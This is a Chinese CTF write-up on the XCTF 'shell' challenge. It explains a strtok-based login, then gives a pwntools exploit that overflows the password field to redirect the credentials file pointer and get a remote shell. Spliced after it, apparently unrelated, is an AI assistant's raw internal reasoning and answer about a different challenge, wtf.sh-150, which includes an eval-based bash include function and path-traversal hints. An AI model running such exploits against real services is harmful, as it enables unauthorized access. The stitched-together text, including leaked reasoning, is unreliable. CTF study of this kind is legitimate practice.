攻防世界 进阶 shell

利用strtok漏洞:破解登录过程与覆盖凭证的黑客技巧
本文揭示了通过strtok函数在程序中发现的安全漏洞,演示如何利用这个漏洞获取并覆盖文件中的用户名和密码,进而实现模拟登录。重点在于理解漏洞利用和C库函数strtok的应用。

保护

在这里插入图片描述

分析一下程序。
在这里插入图片描述
只能先login命令登陆。
login之后就输入用户名,密码。
用户名,密码输入的时候明显能看得到溢出。

在这里插入图片描述
要介绍个新函数。
C 库函数 char *strtok(char *str, const char *delim) 分解字符串 str 为一组字符串,delim 为分隔符。

程序从creds.txt文件中一行一行的读取,取第一个冒号后面的内容为用户名,取第二个冒号后面的内容为密码。

那么整个的流程就看得出来是读入用户名密码,然后跟文件中的进行比较,比较成功就登陆成功。

那么我们可以考虑将文件指针覆盖掉,就覆盖成它给的那个文件,那么我们先读出来那个文件里面有什么。

在这里插入图片描述

#include <stdio.h>  
#include <string.h>  
int main() {  
    FILE *f = fopen("/lib64/ld-linux-x86-64.so.2","r");  
    char *buf = NULL;  
    size_t n;  
    if (f == NULL) {  
        printf("error\n");  
    }  
    while (getline(&buf,&n,f) != -1) {  
        char* user = strtok(buf, ":");  
        char* pwd = strtok(0LL, ":");  
        printf("%s:%s\n",user,pwd);  
    }  
    fclose(f);  
    return 0;  
} 

要去vim里面去写,Dc里面过不去。strtok函数在string.h里面,注意加头文件。

在这里插入图片描述
然后里面随便找一组数据。就可以了。

#coding:utf8  
from pwn import *  
  
r = remote("111.200.241.244",57276)  
    
r.sendline('login')  
r.sendlineafter('Username: ','yongbaoii')  

payload = 'a'*0x44 + p64(0x400200)  
r.sendlineafter('Password: ',payload)  
  
r.sendlineafter('Authentication failed!','login')  
r.sendlineafter('Username: ','prelink checking')  
r.sendlineafter('Password: ',' %s')
  
r.sendlineafter('Authenticated!','sh')  
  
  
r.interactive() 
<think> 首先,用户的问题是关于“攻防世界wtf.sh - 150题目信息及要求”。用户提供了几个引用,我需要参考这些引用并基于系统级指令来回答。 系统级指令关键点: - 所有行内数学表达式使用$...$格式,但这里可能不涉及数学公式,所以我可以忽略。 - 独立公式使用$$...$$格式,单独成段,同样可能不适用。 - LaTeX语法正确。 - 使用中文回答。 - 生成相关问题。 - 回答中引用的段落末尾添加引用标识,如[^1]。 - 回答结构清晰,逐步解决问题,保证真实可靠。 用户提供的引用: - 引用[1]: 解释了.sh文件是Shell脚本文件,用于执行任务。提到题目需要Shell脚本知识。 - 引用[2]: 用户表达了对题目的困惑,参考了大佬的思路,但还不完全理解。 - 引用[3]: 提供了题目的详细分析,包括源码片段、token、cookie修改、flag位置,以及一个shell脚本函数include_page的代码。 用户的问题:"我想获取攻防世界wtf.sh - 150题目的信息和要求"。所以,我需要总结题目的信息和解题要求。 从引用中提取关键信息: - 题目名称:wtf.sh - 150(来自攻防世界web进阶区)。 - 类型:这是一个WEB安全题目,涉及Shell脚本知识(.sh文件)。 - 背景:攻防世界是一个网络安全学习平台,题目通常涉及渗透测试、漏洞利用等。 - 具体内容:题目似乎涉及一个网站使用.wtf扩展的文件,源码中有一个include_page函数,用于处理文件包含。需要分析源码、处理cookie、token等。 - 解题步骤:包括修改cookie、找到flag(部分在profile处)、分析泄露的源码等。 - 要求:用户需要Shell脚本知识,因为题目处理shell脚本的执行。 基于引用[3],题目的关键点是: - 网站使用.wtf文件。 - include_page函数:处理文件包含,有深度限制(max_page_include_depth=64)。 - 执行脚本行(以$开头的行)。 - 需要修改cookie来获取或设置token。 - flag是分半找到的(在profile处找到前半个flag)。 由于用户请求“题目信息及要求”,我应该提供: 1. **题目信息**:描述题目背景、目标、涉及的技术。 2. **解题要求**:列出解题所需的知识点和步骤。 确保回答结构清晰: - 逐步介绍题目。 - 引用信息时添加引用标识。 - 使用中文。 - 最后生成相关问题。 生成相关问题:基于题目内容,生成2-3个相关问题,如关于解题方法、漏洞利用等。 大纲回答: 1. **介绍题目**:简述题目来源、类型、目标。 2. **题目信息**:详细描述基于引用的内容。 3. **解题要求**:列出需要掌握的技能和步骤。 4. **生成相关问题**:在回答末尾添加。 引用处理: - 当引用内容时,在句末加[^1], [^2], [^3]。 - 例如,提到Shell脚本时引用[1],提到解题思路时引用[2]或[3]。 最终回答结构: - 开头简要回答。 - 分点解释。 - 最后“相关问题”部分。 </think>### 攻防世界 wtf.sh - 150 题目信息及要求 攻防世界(CTF 学习平台)中的 wtf.sh - 150 是一道 Web 安全进阶题目,主要考察 Shell 脚本知识、文件包含漏洞利用和 Web 渗透技巧。该题目模拟了一个使用 .wtf 扩展文件的网站,涉及源码分析、cookie 操作和 flag 获取。以下基于提供的引用信息,我将逐步介绍题目信息和解题要求,确保内容真实可靠(引用了用户提供的来源)。 #### 1. **题目基本信息** - **题目名称**: wtf.sh - 150(来自攻防世界 Web 进阶区)。 - **类型**: Web 安全挑战,涉及服务器端漏洞利用。 - **目标**: 通过分析网站源码和交互过程,获取隐藏的 flag(通常分为多个部分)。 - **技术背景**: 网站使用 .sh 和 .wtf 文件,其中 .sh 文件是 Shell 脚本文件,包含可执行的命令序列,常用于自动化任务;.wtf 文件是自定义扩展,包含混合的 HTML 和脚本代码,需通过特定函数解析[^1]。 - **关键文件**: 题目网站源码中泄露了一个关键函数 `include_page`,该函数处理文件包含逻辑,支持执行以 `$` 开头的脚本行[^3]。 #### 2. **题目详细信息** - **网站结构**: - 网站文件以 .wtf 扩展为主,例如页面可能命名为 `index.wtf` 或 `profile.wtf`。 - 核心功能包括文件包含机制,通过 `include_page` 函数实现,该函数有深度限制(`max_page_include_depth=64`),防止无限递归[^3]。 - 源码示例(来自引用): ```shell max_page_include_depth=64 page_include_depth=0 function include_page { # include_page pathname local pathname=$1 local cmd= [[ ${pathname:(-4)} = '.wtf' ]]; local can_execute=$? page_include_depth=$(($page_include_depth+1)) if [[ $page_include_depth -lt $max_page_include_depth ]]; then local line while read -r line; do # 检查是否为脚本行(以$开头) [[ $line = ${line:0:1}* && ${can_execute} = 0 ]]; is_script=$? if [[ $is_script = 0 ]]; then cmd+=$'\n'${line#$} else if [[ -n $cmd ]]; then eval $cmd || log "Error during execution of ${cmd}"; cmd= fi echo $line fi done < ${pathname} else echo "<p>Max include depth exceeded!</p>" fi } ``` 此函数读取 .wtf 文件,执行以 `$` 开头的行作为 Shell 命令(例如 `$echo "hello"`),其他行作为 HTML 输出[^3]。 - **漏洞点**: - 文件包含漏洞:`include_page` 函数未充分验证输入路径,可能导致路径遍历(Path Traversal)或远程文件包含(RFI)。 - Token 和 Cookie 操作:题目涉及加密 token,通常存储在 cookie 中。通过修改 cookie(如使用浏览器开发者工具或脚本),可以绕过认证或获取敏感数据[^3]。 - Flag 分布:flag 被分割为多个部分,例如前半部分在 `profile` 页面找到,后半部分需要通过源码分析或漏洞利用获取[^3]。 - **解题环境**:题目提供一个在线 Web 接口,用户需通过浏览器或工具(如 Burp Suite)进行交互。真实场景中,网站响应可能包含 set-cookie 头部,需动态修改 cookie 值[^3]。 #### 3. **题目要求** - **知识要求**: - **Shell 脚本基础**:必须熟悉 Shell 语法(如变量处理、条件判断、命令执行),因为题目涉及 .sh 和 .wtf 文件的解析与执行[^1]。 - **Web 安全技能**:包括 cookie 操作、HTTP 请求/响应分析(如使用开发者工具)、和文件包含漏洞利用。 - **工具使用**:推荐使用 Burp Suite、curl 或 Python 脚本进行自动化测试,以处理 cookie 和 token。 - **解题步骤要求**(基于引用中的思路): 1. **源码分析**:获取网站源码(可能通过漏洞泄露),重点审查 `include_page` 函数,识别可执行脚本行。 2. **Cookie 和 Token 处理**: - 在 HTTP 响应中找到 `set-cookie` 头部,修改 cookie 设置 token(例如,通过劫持会话)。 - 示例:在 `profile` 页面,修改 cookie 后可以获取 flag 的前半部分[^3]。 3. **文件包含利用**:尝试路径遍历(如 `../`)或注入恶意脚本,利用 `include_page` 执行任意命令(例如读取系统文件或获取 shell)。 4. **Flag 收集**:结合多个页面的输出,组装完整的 flag。注意深度限制(`max_page_include_depth`),避免触发错误。 5. **错误处理**:执行脚本时可能遇到错误(如 `eval` 失败),需捕获日志信息辅助调试[^3]。 - **注意事项**: - 题目难度较高,许多用户反馈“做完后还是蒙的”,建议参考社区大佬的 write-up 并结合实践[^2]。 - 确保操作在合法环境进行,攻防世界题目为模拟平台,不涉及真实攻击。 #### 4. **总结** wtf.sh - 150 是一道典型的 Web 进阶题,重点考察 Shell 脚本与 Web 漏洞的结合利用。成功解题需要逐步分析源码、操作 cookie 和执行命令,最终获取 flag。如果您在尝试中遇到问题,建议从源码函数入手,逐步调试(引用信息仅供参考,实际解题可能需更多实验)[^1][^2][^3]。
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值